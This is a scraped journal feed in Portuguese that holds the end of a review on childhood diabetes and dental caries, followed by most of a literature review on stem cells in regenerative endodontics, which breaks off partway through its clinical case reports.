<p class="wp-block-paragraph">Entretanto, outras pesquisas apontam resultados divergentes, indicando que, quando o diabetes é bem controlado e o paciente recebe acompanhamento odontológico regular, a prevalência de cárie não difere significativamente entre crianças diabéticas e não diabéticas (MAGNANI et al., 2021; MUNALULA et al., 2022). Essa variabilidade nos achados reforça a importância de considerar o nível de controle metabólico, os hábitos alimentares e as condições de higiene oral como fatores determinantes na expressão clínica da doença cárie em crianças com diabetes.</p>



<p class="wp-block-paragraph">Além dos aspectos biológicos, os estudos analisados revelaram a influência crescente dos fatores comportamentais e do estilo de vida no desenvolvimento e agravamento das doenças metabólicas e bucais na infância. O aumento do consumo de alimentos ultraprocessados, com alto teor de açúcares e gorduras saturadas, associado à redução das atividades físicas e ao tempo excessivo diante de telas, têm contribuído significativamente para o crescimento dos casos de obesidade e resistência à insulina, condições fortemente relacionadas ao diabetes tipo 2 (GINGRAS et al., 2018; MOHAMMADBEIGI et al., 2018).</p>



<p class="wp-block-paragraph">Esses padrões de comportamento, quando presentes desde a infância, geram um ciclo de risco duplo: de um lado, predispõem ao surgimento de distúrbios metabólicos como o diabetes; de outro, aumentam a frequência de exposição a açúcares e carboidratos fermentáveis, elevando o risco de desmineralização do esmalte e formação de biofilme cariogênico (BRASIL, 2023; SOCIEDADE BRASILEIRA DE DIABETES, 2024). Dessa forma, as mudanças contemporâneas no estilo de vida infantil impactam simultaneamente o equilíbrio sistêmico e o ambiente bucal, exigindo estratégias integradas de prevenção e educação em saúde.</p>



<p class="wp-block-paragraph">Intervenções que combinam orientação nutricional, incentivo à prática de atividade física e acompanhamento multiprofissional têm se mostrado eficazes na redução do risco de diabetes e suas complicações. A literatura aponta que programas de educação em saúde e hábitos saudáveis reduzem marcadores de resistência insulínica e melhoram a adesão terapêutica, destacando a relevância do trabalho conjunto entre endocrinologistas, nutricionistas e cirurgiões-dentistas (SAGASTUME et al., 2022; PINHAS-HAMIEL, 2023).</p>



<p class="wp-block-paragraph">Portanto, a discussão dos resultados permite concluir que o diabetes infantil deve ser compreendido de maneira ampliada, levando em conta não apenas os fatores biológicos, mas também os aspectos comportamentais, alimentares e socioeconômicos. A atuação do cirurgião-dentista, inserido em equipes interdisciplinares, é essencial na prevenção e detecção precoce de complicações bucais, contribuindo para a melhoria da qualidade de vida dessas crianças.</p>



<p class="wp-block-paragraph"><strong>6. CONCLUSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A presente revisão integrativa permitiu compreender que o diabetes na infância é uma condição que ultrapassa os aspectos exclusivamente metabólicos, estando intimamente relacionado aos hábitos de vida e ao contexto social das crianças. Observou-se que o controle inadequado da glicemia pode provocar alterações salivares, como hipossalivação e aumento da glicose salivar, que favorecem a instalação e progressão da doença cárie.</p>



<p class="wp-block-paragraph">Por outro lado, o adequado acompanhamento médico e odontológico, aliado à educação em saúde, pode minimizar significativamente essas complicações, evidenciando a importância da atuação interdisciplinar. Além disso, identificou-se que as mudanças no estilo de vida infantil — marcadas pela redução da atividade física e pelo aumento do consumo de alimentos ultraprocessados — têm contribuído para o aumento da obesidade e da resistência insulínica, elevando o risco de desenvolvimento de diabetes tipo 2 e, indiretamente, de agravos bucais.</p>



<p class="wp-block-paragraph">Dessa forma, torna-se essencial promover estratégias preventivas que integrem alimentação saudável, prática regular de exercícios e acompanhamento odontológico<strong> </strong>contínuo, desde os primeiros anos de vida. O cirurgião-dentista, enquanto profissional da saúde, possui papel fundamental na identificação precoce das manifestações orais do diabetes, bem como na orientação de pacientes e familiares sobre os cuidados necessários à manutenção da saúde geral e bucal.</p>



<p class="wp-block-paragraph">Conclui-se, portanto, que o enfrentamento do diabetes infantil e suas repercussões bucais requer uma abordagem global, baseada na prevenção e na educação em saúde, além de políticas públicas que favoreçam hábitos de vida mais saudáveis. Novas pesquisas são necessárias para aprofundar a compreensão sobre a interação entre o controle metabólico e a saúde bucal, contribuindo para práticas clínicas mais eficazes e integradas.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong></p>



<p class="wp-block-paragraph">BRASIL. Ministério da Saúde. <em>Saúde Bucal.</em> Brasília: Ministério da Saúde, 2023.</p>



<p class="wp-block-paragraph">GINGRAS, V. et al. <em>Dietary behaviors throughout childhood are associated with adiposity and estimated insulin resistance in early adolescence.</em> <em>International Journal of Behavioral Nutrition and Physical Activity,</em> v. 15, n. 1, p. 1–10, 2018.</p>



<p class="wp-block-paragraph">ISMAIL, A. F.; MCGRATH, C. P.; YIU, C. K. Y. <em>Oral health status of children with diabetes: a comparative study.</em> <em>Journal of Pediatric Endocrinology and Metabolism,</em> v. 30, n. 11, p. 1155–1159, 2017.</p>



<p class="wp-block-paragraph">MAGNANI, C. et al. <em>Meta-analysis of dental caries in diabetic and non-diabetic children.</em> <em>Clinical Oral Investigations,</em> v. 25, n. 3, p. 1317–1329, 2021.</p>



<p class="wp-block-paragraph">MOHAMMADBEIGI, A. et al. <em>Fast food consumption and obesity in children and adolescents: a systematic review and meta-analysis.</em> <em>International Journal of Pediatrics,</em> v. 6, n. 9, p. 8483–8493, 2018.</p>



<p class="wp-block-paragraph">MUNALULA, T. et al. <em>Salivary changes and caries risk in diabetic children.</em> <em>BMC Oral Health,</em> v. 22, n. 1, p. 212, 2022.</p>



<p class="wp-block-paragraph">PINHAS-HAMIEL, O. <em>Type 2 diabetes in children and adolescents.</em> In: FEINGOLD, K. R. et al. (Ed.). <em>Endotext.</em> South Dartmouth (MA): MDText.com, 2023.</p>



<p class="wp-block-paragraph">SAGASTUME, D. et al. <em>Lifestyle interventions for prevention of type 2 diabetes in youth: a systematic review and meta-analysis.</em> <em>eClinicalMedicine,</em> v. 52, p. 101643, 2022.</p>



<p class="wp-block-paragraph">SOCIEDADE BRASILEIRA DE DIABETES (SBD). <em>Diretrizes da Sociedade Brasileira de Diabetes: 2023–2024.</em> São Paulo: Clannad, 2024.</p>



<p class="wp-block-paragraph">WANG, Y. et al. <em>Prevalence of dental caries in children and adolescents with diabetes: a systematic review and meta-analysis.BMC Oral Health,</em> v. 19, n. 1, p. 213, 2019.</p>



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<p class="has-text-align-right wp-block-paragraph"></p>
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			</item>
		<item>
		<title>O USO DE CÉLULA-TRONCO NA ENDODONTIA REGENERATIVA</title>
		<link>https://revistaft.com.br/o-uso-de-celula-tronco-na-endodontia-regenerativa/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Sun, 30 Nov 2025 16:17:40 +0000</pubDate>
				<category><![CDATA[Odontologia]]></category>
		<category><![CDATA[Volume 29 - Edição 152/NOV 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=255811</guid>

					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202511301320 Tássia Barroso de CarvalhoJhennyfer Karoline Lopes FilgueirasOrientadora: Profa. Esp. Joyce Gorayeb Gimenez RESUMO Com o avanço nos estudos acerca do potencial das células tronco, surge um novo conceito na odontologia: endodontia regenerativa (ER). Essa nova modalidade parte da premissa que células tronco extraídas e cultivadas em laboratório possam renovar o tecido pulpar, [&#8230;]]]></description>
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<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202511301320</p>



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<p class="has-text-align-right wp-block-paragraph">Tássia Barroso de Carvalho<br>Jhennyfer Karoline Lopes Filgueiras<br>Orientadora: Profa. Esp. Joyce Gorayeb Gimenez</p>



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<p class="wp-block-paragraph"><strong>RESUMO</strong></p>



<p class="wp-block-paragraph">Com o avanço nos estudos acerca do potencial das células tronco, surge um novo conceito na odontologia: endodontia regenerativa (ER). Essa nova modalidade parte da premissa que células tronco extraídas e cultivadas em laboratório possam renovar o tecido pulpar, sendo uma alternativa ao tratamento endodôntico. Até o momento, os estudos são recentes e ainda apresentam dificuldades, mas os primeiros resultados se mostram promissores. O objetivo principal deste estudo é elucidar o conceito de Endodontia Regenerativa, utilizando como método o uso de células tronco. Para a realização da presente revisão, foram analisados artigos gratuitos, em português e inglês, publicados de 2000 – 2025, na PubMed, BVS e Google Scholar, usando as palavras-chave “células tronco” AND “Endodontia Regenerativa”. Por fim, essa nova modalidade de endodontia chamada regenerativa apresenta resultados interessantes, apesar de poucos estudos terem sido feitos até o momento. Ainda assim, sugere-se que mais estudos sejam realizados. Por fim, a presente revisão de literatura pôde evidenciar do que se trata este novo ramo da odontologia chamado “endodontia regenerativa” e explicitar os preceitos da técnica, visando sua aplicabilidade no futuro.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave</strong>: “células tronco” AND “Endodontia Regenerativa”.</p>



<p class="wp-block-paragraph"><strong>ABSTRACT</strong></p>



<p class="wp-block-paragraph">Considering the advances in the studies concerning the potential of the stem cells, it is rising a new concept on the odontology: Regenerative Endodontics (RE). This new type comes with the premise which stem cells extracted and sown in labs can renovate the pulp tissue, being an alternative to the endodontic treatment. Until this moment, the studies are recent and still show troubles, but the first results are positives. The main objective on this research is to clarify the concept of Regenerative Endodontics, using as a method the use of stem cells. To conduct this review, it was analyzed free articles in Portuguese and English, published between 2000 – 2025, on PubMed, BVS and Google Scholar, using the key words “stem cells” and “Regenerative Endodontics”. Finally, this new type of endodontics called regenerative shows some interesting results, considering few studies were make until now. Still, it suggests that more studies can be made. By the end, this literature review could highlight what is this new branch of dentistry called “regenerative endodontics” and explain the principles of the technique, aiming your applicability in the future.</p>



<p class="wp-block-paragraph"><strong>Keywords: </strong>“stem cells” AND “Regenerative Endodontics”.</p>



<p class="wp-block-paragraph"><strong>1. Introdução</strong></p>



<p class="wp-block-paragraph">Segundo a Associação Americana de Endodontia, “A endodontia é a especialidade da Odontologia que trata da prevenção, diagnóstico e tratamento das enfermidades da polpa e de suas repercussões sobre os tecidos da região periapical.” Essa especialidade é fulcral para a saúde bucal do paciente, visto que o complexo pulpar é ricamente inervado e vascularizado e, se debilitado de qualquer forma, provoca uma resposta inflamatória que tem como principal sintoma a dor, prejudicando a qualidade de vida. Por isso ao longo dos anos foram desenvolvidas novas técnicas, tecnologias e instrumentais para garantir o sucesso dos procedimentos relacionados à endodontia.&nbsp;</p>



<p class="wp-block-paragraph">A partir dos novos conhecimentos, um novo ramo da endodontia surgiu: a endodontia regenerativa (ER). Esse conceito surge como uma alternativa ao tratamento endodôntico tradicional, em que há a necessidade de remover o tecido pulpar por meio de processos físicos e químicos, substituindo o tecido retirado por um material artificial biocompatível.&nbsp;&nbsp;</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">“A endodontia regenerativa visa restaurar a vitalidade da polpa dentária por meio da aplicação de células-tronco, fatores de crescimento e biomateriais que mimetizam o ambiente pulpar original” (Murray <em>et. Al. </em>2007)</p>
</blockquote>



<p class="wp-block-paragraph">A premissa da ER é que apenas o foco infeccioso seja retirado e, por meio de células-tronco devidamente tratadas, o tecido pulpar possa se regenerar e voltar à homeostase. Os estudos sobre a eficiência e viabilidade desse tipo de técnica são novos, sendo datados a partir de 2018 e, por conta de sua inovação, não se pode assegurar sua eficiência à longo prazo, mas os primeiros resultados se mostraram promissores.&nbsp;</p>



<p class="wp-block-paragraph">As células-tronco (CT) têm um potencial de diferenciação que faz com que a célula amadureça, tomando a forma de qualquer outra do corpo humano, o que a faz ter um imenso potencial na medicina e na odontologia em relação à regeneração de tecidos. As CT podem ser embrionárias, ou seja, encontradas no feto em formação, e esse tipo de célula possui um poderoso fator de diferenciação, porém ainda há um grande embate ético sobre seu uso nas ciências. Mas também há células-tronco adultas, localizadas na medula óssea, glândulas salivares, ápices dentários e glândulas dentárias. As células adultas têm um potencial menor, mas ainda podem se diferenciar e regenerar tecidos. Nas palavras de Grontos, em 2004, “Células-tronco derivadas da polpa dentária (DPSCs) apresentam uma notável capacidade de diferenciação em odontoblastos e regeneração da dentina.&#8221; Na ER são usadas células tronco vindas da cavidade oral pela compatibilidade do meio e viabilidade de colheita do material, tornando o processo mais fácil.&nbsp;</p>



<p class="wp-block-paragraph">No entanto, a endodontia regenerativa ainda possui diversos desafios a serem ultrapassados, incluindo principalmente o cultivo das células fora de seu meio natural, ou seja, fora da cavidade oral. Para que as CT possam ser inseridas com sucesso na polpa dentária, precisa de um “andaime”, uma estrutura compatível com o meio e com as células, em que possam se apoiar e sobreviver até sua aplicação. Uma das barreiras da ER é a dificuldade de manuseio e armazenamento das células e seus andaimes, bem como os custos do procedimento em sua integralidade. Huang (2009), diz que a combinação das células-tronco com <em>scaffolds</em> – andaimes – tem sido uma estratégia promissora para a reconstrução de polpa e dentina.</p>



<p class="wp-block-paragraph">O objetivo da presente revisão de literatura é analisar os estudos realizados sobre a aplicabilidade de células-tronco na endodontia regenerativa, comparar tipos de materiais utilizados e relatar os resultados obtidos até o presente momento, incluindo as dificuldades encontradas no processo e avanços tecnológicos relacionados. Também se dá como objetivo conceituar os tipos de células tronco e suas classificações, mostrando sua importância no processo e apontar casos em que o uso da técnica regenerativa foi bem-sucedido, em alternativa ao procedimento endodôntico tradicional.</p>



<p class="wp-block-paragraph">O objetivo da presente revisão de literatura é conceituar as células-tronco, bem como suas classificações e aplicabilidades;&nbsp;</p>



<p class="wp-block-paragraph"><strong>2. Objetivos</strong></p>



<p class="wp-block-paragraph"><strong>2.1 Objetivo Geral</strong></p>



<p class="wp-block-paragraph">Realizar uma revisão de literatura narrativa acerca de identificar o conceito de Endodontia Regenerativa, utilizando como método o uso de Célula Tronco.</p>



<p class="wp-block-paragraph"><strong>2.2 Objetivos Específicos</strong></p>



<p class="wp-block-paragraph">a) Explicar o que é Endodontia Regenerativa.</p>



<p class="wp-block-paragraph">b) Conceituar os tipos de células tronco existentes e a sua importância para o sucesso da técnica;</p>



<p class="wp-block-paragraph">c) Apresentar casos clínicos em que a técnica regenerativa foi um sucesso em alternativa ao tratamento endodôntico tradicional;</p>



<p class="wp-block-paragraph">d) Discutir os desafios e limitações atuais para a aplicação clínica das terapias regenerativas baseadas em células-tronco.</p>



<p class="wp-block-paragraph"><strong>3. Metodologia</strong></p>



<p class="wp-block-paragraph">Esta pesquisa foi realizada através de artigos científicos fundamentados nas bases de dados via PubMed (Medical Literature Analysis and Retrieval System Online), Biblioteca Virtual em Saúde (BVS) e Google Acadêmico. Para a busca dos artigos fez-se uso das palavras-chaves “Endodontia Regenerativa” AND “Células Tronco”. Foram utilizados critérios de inclusão: recorte temporal entre os períodos de 2000 a 2025, revisão de literatura e relatos de casos em português, inglês e espanhol. Foram desconsiderados artigos duplicados, trabalhos de conclusão de curso, monografias e estudos defasados pela comprovação científica.&nbsp; Inicialmente foram encontrados 300 artigos, porém com a aplicação dos critérios de inclusão/exclusão, apenas 17 artigos foram selecionados, sendo 11 revisões de literatura e 6 relatos de caso. Porém foram observadas lacunas no método científico, então foram selecionados mais artigos, sendo selecionados a partir dos critérios de busca mais a leitura do resumo e sua relevância à pesquisa, findando em 33 artigos.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4. Referencial Teórico</strong></p>



<p class="wp-block-paragraph"><strong>4.1 Célula Tronco</strong></p>



<p class="wp-block-paragraph"><strong>4.1.1. Referencial histórico</strong></p>



<p class="wp-block-paragraph">As células tronco (CT) são células com alto potencial de diferenciação, ou seja, capacidade de se transformar em qualquer outra célula do corpo. Dessa forma, essas células têm grande utilidade na medicina e odontologia. (Watt; Hogan. 2000)</p>



<p class="wp-block-paragraph">A primeira vez que as CT foram citadas na literatura foi em 1868 por um biólogo alemão chamado Ernst Haeckel, para descrever um óvulo fertilizado, mas também para descrever a célula matriz que origina todas as outras. Depois de sua descoberta, diversos outros estudos em diversos campos da ciência evidenciaram, de fato, a existência de uma célula primitiva que daria origem a todos os outros tipos celulares necessários em um organismo multicelular. (Haeckel, 1968, <em>APUD</em>. Maehle,2011)</p>



<p class="wp-block-paragraph">Depois de um salto no tempo, em primeiro de junho de 1909, Alexander Maximow, pesquisador russo, falou à Sociedade de Hematologia de Berlim sobre sua teoria de que todas as células sanguíneas provêm de uma única ancestral comum, introduzindo o conceito de células-tronco hematopoiéticas multipotentes, ou seja, capazes de se diferenciar em qualquer tipo de célula. (Maximow, 1909, <em>APUD</em> Fliedner,1998)</p>



<p class="wp-block-paragraph">Em 1957, o médico e cientista Thomas E. Donnal tenta o primeiro transplante de medula óssea do mundo, na cidade de Seattle, Estados Unidos. Anos depois, ele ganha o Prêmio Nobel por seu feito, em 1990. “Foi tentada a infusão intravenosa de medula óssea em pacientes submetidos à radiação e quimioterapia, com o objetivo de restaurar a função hematopoiética.” (Thomas et al., 1957).</p>



<p class="wp-block-paragraph">Porém, é apenas em 1968 que o primeiro transplante de medula óssea é bem-sucedido, realizado em uma criança com uma deficiência imunológica que já havia ceifado a vida de outros membros de sua família. O paciente, que recebeu o transplante de sua irmã, teve uma vida saudável após o procedimento.&nbsp;</p>



<p class="wp-block-paragraph">Com esse marco histórico, os estudos acerca do poder das CT foram amplamente aprofundados, com o objetivo de viabilizar ainda mais tratamentos médicos e prolongar a vida de pacientes. Em 1981, Martins Evans, da Universidade de Cambrigde, e Gail Martin, da Universidade da Califórnia, realizaram estudos semelhantes em roedores e obtiveram células tronco pluripotentes a partir de embriões de camundongos. Estas são as primeiras células tronco embrionárias a serem isoladas.</p>



<p class="wp-block-paragraph">No ano de 1986, Lassar <em>et. Al</em>. têm sucesso ao converter fibroblastos – células conjuntivas – em mioblastos – células musculares &#8211;, utilizando um único gene. A descoberta de que é possível transmutar uma célula adulta em outra célula adulta é um grande avanço na medicina regenerativa.</p>



<p class="wp-block-paragraph">Em 1991, Arnold Caplan introduz o termo “células tronco mesenquimais”, que seriam células tronco sem ter origem hematopoiética. Em seis de novembro de 1998, uma equipe universitária liderada por James Thomson e Jeffrey Jones isola a primeira linhagem de células tronco embrionárias humanas. Tal feito é capaz de comprovar o enorme potencial de diferenciação destas e comprovar seu possível uso em terapias celulares.</p>



<p class="wp-block-paragraph">Após esse marco no estudo das CT, milhares de pesquisas voltadas ao seu uso na medicina foram desenvolvidas e permanecem em expansão até os dias atuais, impulsionadas pelo avanço de tecnologias capazes de coletar e armazenar essas células, tanto para fins de estudo quanto para aplicações terapêuticas e transplantes. É notável que, desde a primeira descrição oficial das células-tronco, seu estudo tenha se difundido amplamente. Apesar de se tratar de uma descoberta relativamente recente, já existem inúmeros trabalhos e testes que comprovam seu grande potencial. Isso se deve, sobretudo, à capacidade singular das células-tronco de regenerar tecidos, podendo diferenciar-se em células de áreas lesionadas. Nesse contexto, surge a perspectiva de regenerar tecidos inteiros e até mesmo viabilizar o cultivo de órgãos saudáveis para transplantes.</p>



<p class="wp-block-paragraph">Atualmente, as CT são tão integradas à medicina que transplantes de medula óssea são realidade em milhares de hospitais em todo o mundo e são responsáveis pela saúde de milhões de pessoas. Na odontologia, entretanto, o estudo sobre o uso de células tronco ainda é relativamente novo, e testes envolvendo as células ainda estão sendo aplicados e seus resultados ainda seguem em análise, apesar de ser uma promessa promissora.</p>



<p class="wp-block-paragraph"><strong>4.1.2. Tipos de células tronco</strong></p>



<p class="wp-block-paragraph">Apesar de todas as CT terem um alto potencial de diferenciação, não se pode considerá-las um grupo único e homogêneo. Essas células podem ser diferenciadas e, portanto, classificadas de acordo com algumas especificidades: sua origem e seu potencial de diferenciação.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.1.2.1 Classificação&nbsp;</strong></p>



<p class="wp-block-paragraph">Segundo Vogel (2000), a classificação das células-tronco quanto à sua origem abrange dois grupos principais: as embrionárias, obtidas a partir da massa celular interna do embrião, e as adultas, isoladas de tecidos já diferenciados do organismo. Contudo, de acordo com o potencial de diferenciação, tem-se as seguintes classificações.</p>



<p class="wp-block-paragraph"><strong>Células tronco totipotentes</strong>: Consideradas por alguns estudiosos como as células com maior potencial, essas CT se encontram no momento inicial da formação do indivíduo: o zigoto. Esse tipo de célula tem capacidade de diferenciação tamanha a ponto de ser capaz de formar tanto o embrião quanto a placenta, ou seja, tanto a célula quanto o meio extracelular. O que significa que as células totipotentes podem formar qualquer tecido do corpo humano, seja na fase adulta ou no desenvolvimento fetal.&nbsp;</p>



<p class="wp-block-paragraph">Nas palavras de Robey, essas células só podem ser encontradas na fase inicial do desenvolvimento embrionário, durante as primeiras mitoses do zigoto. Estima-se que essa célula está no estágio posterior ao zigoto, chamado mórula, e apresenta de 16 até 64 células.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Células tronco pluripotentes</strong> (CTP): Esse tipo de célula pode se diferenciar em qualquer outra célula do corpo, independentemente de ser endoderma, mesoderma ou ectoderma. As CTP são encontradas em embriões, haja vista que esse tipo de célula é fulcral para o desenvolvimento dos diferentes tipos de tecido do feto, exceto o tecido da placenta. De acordo com Gage, em 2000, esse tipo de célula está presente, ainda que em pouca quantidade, em indivíduos adultos, especialmente na medula óssea. As células pluripotentes têm grande aplicabilidade na medicina, apesar de questões éticas e legais impedirem o uso, exceto quando as CTP são advindas da medula óssea.</p>



<p class="wp-block-paragraph">Para tornar viável, ética e legalmente, o uso desse tipo de célula, novos estudos apontam para uma CTP artificial, sendo gerada a partir de uma célula tronco adulta e modificada em laboratório. Os estudos acerca da possibilidade de produção dessa célula e seu uso na medicina ainda são recentes, porém promissores. (Gomes, <em>et. Al. </em>2017)</p>



<p class="wp-block-paragraph"><strong>Células tronco multipotentes</strong>: Diferente das CTP, as células multipotentes são encontradas no indivíduo adulto e não têm a capacidade de diferenciação tão elevada, podendo se transmutar em apenas determinados tipos de células. Segundo Gage, em 2000, essas células são encontradas em diversos órgãos e só conseguem se diferenciar em células pertencentes ao seu órgão de origem. Ou seja, caso um órgão sofra determinada lesão, haverá uma célula multipotente programada para se transformar em uma célula daquele mesmo órgão. Porém, muitas pesquisas têm tentado derrubar essa classificação, pois as células neurais, que deveriam ser consideradas multipotentes, têm potencial semelhante ao de uma CTP, aos olhos de Clarke <em>et. Al,</em> em seu artigo publicado em 2000.</p>



<p class="wp-block-paragraph"><strong>5. Endodontia Regenerativa&nbsp;</strong></p>



<p class="wp-block-paragraph">De acordo com Martins et al, seu artigo artigo publicado em 2023 a endodontia regenerativa representa um campo inovador da odontologia que busca restabelecer a vitalidade pulpar por meio de técnicas biológicas capazes de promover a formação de tecidos semelhantes aos originais. Essa abordagem surge como alternativa aos tratamentos convencionais, principalmente em dentes imaturos com necrose pulpar, em que o prognóstico é frequentemente desfavorável.</p>



<p class="wp-block-paragraph">O presente estudo de revisão integrativa examinou distintas metodologias e os resultados obtidos em pesquisas relacionadas ao tema. Verificou-se, conforme Silva, Oliveiras e Santos (2020), que os protocolos de desinfecção intracanal exercem papel determinante para êxito clínico dos tratamentos, sendo enfatizado o emprego de pastas antibióticas e soluções irrigadoras com menor citotoxicidade. Além disso, os autores ressaltam que a indução do sangramento periapical constitui uma etapa imprescindível para o desenvolvimento de um arcabouço celular capaz de favorecer o processo de regeneração tecidual.</p>



<p class="wp-block-paragraph">De acordo com Almeida et al. (2019), outro ponto de destaque na literatura refere-se à análise comparativa entre diferentes materiais seladores e biomateriais, como MTA e o Biodentine, que têm demonstrado resultados promissores quanto à indução da formação de tecidos mineralizados. Para Martins et al. (2023) observam que ainda há divergências relacionadas à padronização dos protocolos clínicos e laboratoriais, o que reforça a necessidade de realização de um maior número de ensaios clínicos randomizados a fim de consolidar a evidência científica disponível sobre o tema.</p>



<p class="wp-block-paragraph">De modo geral, a literatura aponta que a endodontia regenerativa tem potencial para modificar o paradigma da terapia endodôntica tradicional, embora ainda existam desafios a serem superados, especialmente relacionados à previsibilidade dos resultados e ao tempo de acompanhamento clínico.</p>



<p class="wp-block-paragraph"><strong>5.1 ER: Diferentes abordagens</strong></p>



<p class="wp-block-paragraph">A endodontia regenerativa tem como finalidade principal restabelecer os tecidos pulpares e periapicais comprometidos por meio de substituição biológica, fundamentada no uso de células-tronco mesenquimais e em estratégias de engenharia tecidual. Pesquisas apontam que essas células apresentam elevada capacidade de autorrenovação e diferenciação, características que as tornam promissoras para aplicações terapêuticas, conforme discutido por Bydlowski et al.,&nbsp; (2009) e por Rosales et al., (2015).</p>



<p class="wp-block-paragraph">Na literatura, destacam-se duas abordagens centrais dentro dessa área. A primeira refere-se aos procedimentos endodônticos regenerativos (REP), que visam promover o fechamento apical pela indução de sangramento e formação de um coágulo intracanal. A segunda abordagem corresponde à regeneração pulpar guiada, cujo propósito é a obtenção de um tecido pulpar funcional, com vascularização e inervação, a partir de cultura celular. Essa distinção é discutida por Nosrat et al. (2015) e por Yan et al. (2023).</p>



<p class="wp-block-paragraph">Os REP apresentam protocolos clínicos mais consolidados e demonstram resultados positivos em dentes imaturos necróticos com rizogênese incompleta. Estudos citados por De Jesus Soares et al. (2012) relatam aumento do comprimento radicular, espessamento das paredes dentinárias e fechamento apical, embora o tecido neoformado não corresponda integralmente ao complexo dentina-polpa original, como observado por Altaii, Richards e Rossi-Fedele (2017).</p>



<p class="wp-block-paragraph">Em contraste, a regeneração pulpar guiada permanece em estágio predominantemente experimental. Trabalhos desenvolvidos por Gronthos (2000) e Miura (2003) indicam avanços significativos em ambiente laboratorial, especialmente no uso de biomateriais, scaffolds e células-tronco provenientes da polpa dental e de dentes decíduos. Apesar disso, a quantidade de ensaios clínicos ainda é reduzida, embora resultados preliminares apontados por Nakashima et al. (2017) revelam grande potencial para sua futura aplicação clínica.</p>



<p class="wp-block-paragraph">Mesmo diante dos avanços recentes, persistem desafios relacionados à padronização dos protocolos, à biocompatibilidade dos materiais utilizados e à previsibilidade dos resultados obtidos. Assim, embora os REP já se configuram como uma alternativa clinicamente viável, a regeneração guiada ainda demanda progressos no campo da bioengenharia e maior quantidade de ensaios clínicos randomizados para que possa ser consolidada como uma opção terapêutica aplicável na prática odontológica.</p>



<p class="wp-block-paragraph"><strong>6. ER: estudos clínicos</strong></p>



<p class="wp-block-paragraph">Com a descoberta do uso das células tronco na odontologia, iniciou-se uma empreitada para que os procedimentos fossem viáveis e com altas taxas de sucesso. O primeiro teste foi realizado em 2001, por Iwaya e sua equipe e publicado na <em>Dental Traumatology</em>. O caso descreveu um pré-molar necrótico com ápice aberto em um paciente de 13 anos. O tratamento tinha a intenção de utilizar as células tronco multipotentes que se encontram no ápice dentário, fazendo com que essas células se diferenciem em uma polpa saudável e o fechamento do ápice ocorra de forma natural. O tratamento consistiu na limpeza do canal, aplicação de medicação a base de hidróxido de cálcio, estímulo ao sangramento advindo do ápice e selamento do canal radicular com coágulo sanguíneo rico em células tronco advindas do ápice. O paciente foi acompanhado por 30 meses e as radiografias apresentaram resultado positivo. Ao longo do tempo, o ápice do elemento realmente terminou seu fechamento e as paredes do canal ficaram consideravelmente mais espessas. Considera-se, por fim, que as células tronco adultas que estavam presentes no ápice dentário se diferenciaram em tecido pulpar saudável ao longo do acompanhamento, fazendo inclusive com que o processo de fechamento do ápice pudesse ser concluído.&nbsp;</p>



<p class="wp-block-paragraph">Esse tratamento foi considerado revolucionário, pois abriu uma nova era de possibilidades ao tratamento endodôntico tradicional. Iwaya e sua equipe descobriram um modo de tratar um dente com raiz incompleta, desde que o ambiente do interior do conduto seja mantido livre de infecções. Os estudos que vieram a partir desse marco deram origem ao que hoje se tem como Endodontia Regenerativa.&nbsp;</p>



<p class="wp-block-paragraph">De acordo com Nandini, em seu estudo de 2018, a Endodontia Regenerativa a partir de coágulos sanguíneos pode apresentar vários percalços. Há uma grande possibilidade de rejeição e de perda de células indiferenciadas durante o procedimento, resultando assim em sua falha. Porém, o mesmo estudo diz que as chances de sucesso aumentam se as células tronco forem ancoradas em um material biomimético de apoio, os andaimes. Esses materiais podem ser plasma rico em fibrina ou uma esponja de colágeno, ou até mesmo um material sintético que imite as características necessárias. Essa nova percepção seria aproveitada quando o elemento dentário não possuísse um ápice saudável ou rico em células tronco, inviabilizando a provocação ao sangramento e formação do coágulo. O objetivo do uso desses andaimes é que as células tenham um lugar para se fixar e sobreviver durante o armazenamento. Esses materiais também podem ser modelados, facilitando a colocação no interior dos condutos. Porém os estudos clínicos com essa nova abordagem ainda são muito recentes e sua eficácia não pôde ser corroborada pela prática, devido a falta de estudos randomizados, nas palavras de Nandini.</p>



<p class="wp-block-paragraph">Já em 2024, um novo caso mostra o poder da Endodontia Regenerativa e como a utilização dos andaimes pode aumentar exponencialmente a taxa de sucesso, realizada por Liu et. <em>Al</em>. A paciente foi uma mulher de 31 anos, com elemento 35 em necrose pulpar com ápice aberto. Seu relato era de dor oclusal há pelo menos cinco anos. Nos exames realizados inicialmente, foi comprovada a uma extensa lesão periapical e lesão periodontal associada ao mesmo elemento. Seu tratamento consistiu inicialmente no acesso ao dente 35, limpeza do canal com uma solução de Hipoclorito de Sódio 1%, seguida por solução salina estéril. Após secagem do canal, este foi vedado com pasta de hidróxido de cálcio e, por fim, o elemento foi fechado com obturador provisório. Enquanto o elemento era mantido fechado, foi realizada a extração do elemento 28, que não apresentava quaisquer lesões e o elemento extraído foi limpo e processado para a cultura celular. Após desinfecção satisfatória do siso extraído, ele foi cortado longitudinalmente e com ajuda de micropinças, foi retirado tecido pulpar do elemento.&nbsp;</p>



<p class="wp-block-paragraph">O tecido pulpar extraído, por sua vez, também passou por processos físicos e químicos antes de ser adicionado ao andaime escolhido, chamado LPCGF. Na terceira sessão, enfim, o complexo formado pelas células e pelo andaime foi injetado no canal radicular, até 3mm abaixo da JCE e fechado com cimento de ionômero de vidro. Importante ressaltar que a lesão periodontal foi tratada paralelamente a Endodontia Regenerativa.</p>



<p class="wp-block-paragraph">A paciente foi acompanhada durante doze e meses, durante os quais foi observado significativo espessamento nas paredes do canal, bem como leve alongamento da raiz e fechamento do ápice outrora aberto e melhora expressiva da lesão periapical.</p>



